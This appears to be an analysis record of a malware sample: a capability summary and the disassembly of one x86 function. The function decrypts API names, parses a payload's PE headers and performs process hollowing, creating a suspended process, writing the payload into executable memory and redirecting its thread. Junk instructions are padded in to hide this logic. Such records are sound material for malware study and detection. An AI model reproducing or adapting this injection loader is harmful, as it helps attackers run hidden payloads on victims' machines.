Function at 0x401340
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Link many functions at runtime
Parse pe header

Disassembly:
sub esp, 0x114
push ebx
push ebp
push esi
push edi
push 0x103
lea eax, [esp + 0x25]
push 0
push eax
mov byte [esp + 0x2c], 0
call fcn.00403e00
push str.ZYgE6doxzBFlutb
push 0x40d06c
call fcn.00401000
push str.ZYgE6doxzBFlutb
push 0x40d090
call fcn.00401000
push str.ZYgE6doxzBFlutb
push 0x40d0b4
call fcn.00401000
push str.ZYgE6doxzBFlutb
push 0x40d0d8
call fcn.00401000
push str.ZYgE6doxzBFlutb
push 0x40d0fc
call fcn.00401000
push str.ZYgE6doxzBFlutb
push 0x40d120
call fcn.00401000
push str.ZYgE6doxzBFlutb
push 0x40d144
call fcn.00401000
add esp, 0x44
push str.ZYgE6doxzBFlutb
push 0x40d048
call fcn.00401000
push str.ZYgE6doxzBFlutb
push 0x40d288
call fcn.00401000
push str.ZYgE6doxzBFlutb
push 0x40d2ac
call fcn.00401000
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0x18
push section..data
call esi
push 0x40d024
mov edi, eax
call esi
push 0x40d048
mov dword [esp + 0x18], eax
call esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40d288
push eax
call esi
ror bx, 0xb
dec cl
ror eax, 0x1e
add cl, 0x24
mov ecx, ecx
xor cx, 0x9a
sub eax, 0x85
and cx, 1
not ax
sub cl, bl
dec al
sub bx, ax
shl ax, 0xc
xor ebx, 0x98
shl ax, 5
or cx, ax
dec eax
neg bx
sub eax, 0xb5
dec eax
not bx
shl cl, 0xe
inc eax
sar cx, 6
rol eax, 5
add al, cl
not cl
ror eax, 3
dec cl
inc eax
or ecx, 0x16
not cl
shl bl, 2
ror eax, 0x1c
sub cx, bx
sar ax, 0xd
sub ax, 0x15
add bl, 3
and eax, 0x1e
neg bx
sub cx, bx
sar eax, 9
shl bl, 5
or ax, bx
ror cl, 0xb
and bx, ax
xor ebx, ecx
not bx
add cx, 0
shl bx, 4
neg ecx
add cl, 0x94
inc eax
ror al, 0xe
shl cx, 0xd
ror bl, 0xa
nop
ror ebx, 0x11
sar bx, 0xe
xor cx, 0xff
and ax, bx
rol ebx, 0x1d
neg bx
not cx
ror ax, 7
mov cl, cl
not ax
sar ebx, 7
mov bx, bx
inc eax
neg ecx
nop
inc al
or bl, al
sub al, 0x41
or ebx, 0
ror ax, 0xc
sar bx, 0x1c
inc bl
not eax
sar bl, 3
dec bl
and eax, 0xf
xor bl, cl
shl ebx, 3
sar bl, 0x12
dec cx
or bx, 0
neg ax
shl bx, 0x1a
add eax, 0x71
sub ax, 0xf5
or ecx, eax
xor bl, 0x36
or bl, al
sub al, 0
not cx
sar al, 0x17
or cl, 3
sub bl, 0
shl ax, 0x13
add bl, cl
shl bl, 6
neg ax
shl cl, 0x13
or bx, 0
inc bx
shl bl, 7
shl cx, 0x10
add ecx, ebx
neg cx
rol bl, 0x1a
shl eax, 4
neg cl
sub ecx, 0
rol cx, 0x17
inc bl
shl al, 0xd
rol bl, 0x1a
inc al
and bl, 0x15
shl eax, 0x1c
dec bl
rol ebx, 6
and ax, 0x14
shl bl, 0x12
ror ebx, 0xc
rol eax, 0x19
or ebx, 0
rol ecx, 0x11
shl al, 0x16
ror ebx, 0x16
neg ax
not bl
add eax, 0xe7
push 0x40d2ac
push edi
call esi
call eax
push eax
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
and cl, 0xb
xor bl, cl
ror cx, 9
or ecx, ebx
add ax, bx
shl bx, 0xa
not cx
neg eax
sar ecx, 0x1e
and ebx, 0xffffffff
add bx, cx
dec bx
and ax, bx
shl bl, 3
neg al
sub eax, ebx
ror ax, 0x1d
and cl, 0x17
inc eax
or cx, 6
shl bl, 1
neg cx
not ecx
or eax, 0xd
neg eax
or cl, al
add bx, 0
or cx, 0
not al
sar cl, 3
not al
and cx, 5
not al
xor ebx, 0x6a
sar bx, 9
shl al, 0x11
add bx, ax
add bx, 0
rol ax, 0x11
and cl, 0xff
sub bx, 0xda
add bx, cx
mov ax, ax
not bl
shl ebx, 0xf
inc ecx
rol ax, 0x15
inc cx
and bx, 8
shl ebx, 0x13
ror ax, 0x18
not ebx
ror eax, 0x15
add bl, 0x30
xor ebx, eax
sub al, cl
shl bx, 9
and bx, 0xa
not bl
or al, cl
add bl, 0
add al, bl
xor bx, 0xd7
not ebx
and eax, ebx
sar ecx, 0xb
inc eax
rol bx, 0x15
ror al, 9
mov ecx, ecx
sar bl, 0x11
shl eax, 0x13
push 0x44
push 0
push 0x40e2f8
call fcn.00403e00
add esp, 0xc
inc bx
rol eax, 0x13
shl ecx, 0xf
shl cl, 0xb
inc bx
dec bx
or ecx, 4
shl ebx, 0xf
dec ecx
inc cl
or eax, ecx
sub bx, 0x63
and eax, 0x14
shl eax, 0xc
neg ax
shl bl, 0x11
add bx, cx
inc cx
xor eax, 0x8f
sub ebx, ecx
not ecx
rol al, 8
ror cx, 0xb
neg ebx
and eax, 0xffffffff
ror bl, 0xf
xor ax, bx
or bl, 0
rol ebx, 2
inc eax
rol cx, 0x1b
xor eax, 0x96
shl ebx, 0x11
inc bl
sub al, bl
ror bl, 0xe
or ecx, eax
sub eax, 0
rol cl, 0xe
inc bx
rol ecx, 0x16
dec eax
not ebx
or al, bl
shl bx, 0x13
sub ebx, 0
not ecx
inc ebx
and ax, 0xb
rol ecx, 0x13
add cx, 0x19
shl ecx, 0xb
sub eax, 0x8e
xor cx, 0x46
mov ebp, dword [esp + 0x12c]
mov dword [0x40e2f8], 0x44
mov dword [0x40e028], 0x10007
mov dword [0x40e350], ebp
xor eax, 0xa4
rol cx, 0x1e
dec al
ror eax, 0x1b
nop
sub bx, 0xa1
dec cl
or eax, ebx
neg bl
sub ebx, eax
shl eax, 0x11
or ecx, ebx
neg eax
or al, 0x19
not bl
xor bl, 0x62
ror eax, 0xd
rol bl, 0x1e
and ax, cx
sar bx, 9
xor ecx, 0xb9
not cl
not eax
dec cx
sub ax, 0
add cx, 0x5f
rol ax, 0xb
nop
and eax, 0xffffffff
inc cx
nop
add eax, 0x1c
and bx, 0xffff
nop
rol al, 3
ror bx, 0x18
neg eax
shl ebx, 0xe
sub ax, cx
sar ebx, 0x14
add ebx, ecx
shl bl, 7
ror bx, 7
sar al, 0xb
sub ebx, 0x70
xor ecx, eax
and cx, ax
nop
or ecx, ebx
rol cx, 3
and bx, cx
rol bl, 7
shl cx, 0x11
add eax, ebx
shl bl, 0x1a
neg al
sar eax, 0x1c
and ebx, 3
sub eax, 0x32
mov eax, dword [0x40e350]
mov edx, 0x5a4d
cmp word [eax], dx
je 0x4018a8
add al, 0
mov cx, cx
shl al, 0xa
not cx
inc eax
sub cx, 0
sub bl, 0x90
rol cl, 0x19
neg eax
and ecx, 6
ror ax, 0x16
nop
sub eax, 0xe5
inc bx
ror eax, 6
shl ebx, 0xf
add bl, 0
neg bx
shl bx, 0x1e
rol ax, 0x12
and eax, ecx
rol al, 0xe
shl bl, 0x1d
or bx, 0
ror cl, 0xf
dec ax
shl bl, 3
mov bl, bl
and ebx, 0xb
not eax
mov bx, bx
rol cl, 7
shl bl, 0x16
and cl, 0xff
and bx, 0xffff
sar cx, 1
shl bl, 0x19
or al, bl
rol eax, 0x11
inc bx
shl ebx, 0x17
add bx, 0xde
xor ax, bx
and bl, 0xff
shl bl, 0x11
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret
shl bx, 0xe
add ebx, 0x76
shl ecx, 0x1c
sar ax, 6
sub bx, cx
not bx
shl ecx, 4
inc ecx
and bl, al
xor cx, 0xbd
rol bl, 1
add bx, 0x30
or cx, bx
sub bx, 0xd4
sub al, 0
shl bl, 8
dec cl
neg ecx
not eax
add cx, ax
and bl, 0xff
neg bx
add ax, 0x106
not bx
and cl, al
ror bx, 3
not bl
rol ebx, 0x19
shl ax, 0xa
xor bl, 0x25
rol cl, 0x1b
shl ecx, 0xf
ror bx, 0x1a
add ebx, eax
or ecx, 0xb
not eax
rol cx, 0xd
inc cl
sub ax, 0
rol bl, 0xe
sub al, 0
rol bx, 0xf
and eax, 0x1e
add bx, 0x112
sub eax, 0
rol bx, 5
shl cl, 4
add bx, 0x33
ror cl, 0x13
sar bx, 0x15
sub bx, 0x64
not al
sar bx, 0x17
add eax, 0
mov bl, bl
shl eax, 0xc
shl ax, 0x1d
ror bx, 0x13
not cl
rol ecx, 9
inc eax
rol ecx, 3
add bx, ax
mov ecx, dword [0x40e350]
mov eax, dword [ecx + 0x3c]
add eax, ebp
mov dword [0x40e354], eax
cmp dword [eax], 0x4550
jne 0x401b1c
push 0x40d06c
push edi
call esi
push 0x40e33c
push 0x40e2f8
push 0
push 0
push 4
push 0
push 0
push 0
lea edx, [esp + 0x40]
push edx
push 0
mov dword [0x40e358], eax
call eax
mov edx, dword [esp + 0x14]
mov eax, dword [0x40e354]
mov ecx, dword [0x40e33c]
mov ebx, dword [eax + 0x34]
push 0x40d090
push edx
mov dword [esp + 0x18], ecx
call esi
mov ecx, dword [esp + 0x10]
push ebx
push ecx
call eax
mov eax, dword [0x40e354]
mov edx, dword [eax + 0x34]
mov ebx, dword [eax + 0x50]
mov eax, dword [0x40e33c]
push 0x40d0b4
push edi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], eax
call esi
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push 0x40
push 0x3000
push ebx
push ecx
push edx
call eax
mov eax, dword [0x40e354]
mov ebx, dword [eax + 0x54]
mov eax, dword [eax + 0x34]
mov ecx, dword [0x40e33c]
push 0x40d0d8
push edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], ecx
call esi
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push 0
push ebx
push ebp
push edx
push ecx
call eax
mov ecx, dword [0x40e354]
xor eax, eax
xor edx, edx
mov dword [esp + 0x14], eax
cmp dx, word [ecx + 6]
jae 0x401ace
mov dword [esp + 0x10], eax
jmp 0x401a67
mov ebp, dword [esp + 0x12c]
mov eax, dword [0x40e350]
mov edx, dword [eax + 0x3c]
add edx, dword [esp + 0x10]
push 0x40d0d8
lea eax, [edx + ebp + 0xf8]
mov dword [0x40e020], eax
mov ebx, dword [eax + 0x14]
mov edx, dword [eax + 0x10]
add ebx, ebp
mov ebp, dword [eax + 0xc]
mov eax, dword [0x40e33c]
add ebp, dword [ecx + 0x34]
push edi
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], eax
call esi
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
push 0
push ecx
push ebx
push ebp
push edx
call eax
mov ecx, dword [0x40e354]
mov eax, dword [esp + 0x14]
movzx edx, word [ecx + 6]
add dword [esp + 0x10], 0x28
inc eax
cmp eax, edx
mov dword [esp + 0x14], eax
jl 0x401a60
push 0x40d0fc
push edi
call esi
mov ecx, dword [0x40e340]
push 0x40e028
push ecx
call eax
mov eax, dword [0x40e354]
mov edx, dword [eax + 0x34]
add edx, dword [eax + 0x28]
mov ebx, dword [0x40e340]
push 0x40d120
push edi
mov dword [0x40e0d8], edx
call esi
push 0x40e028
push ebx
call eax
mov ebx, dword [0x40e340]
push 0x40d144
push edi
call esi
push ebx
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret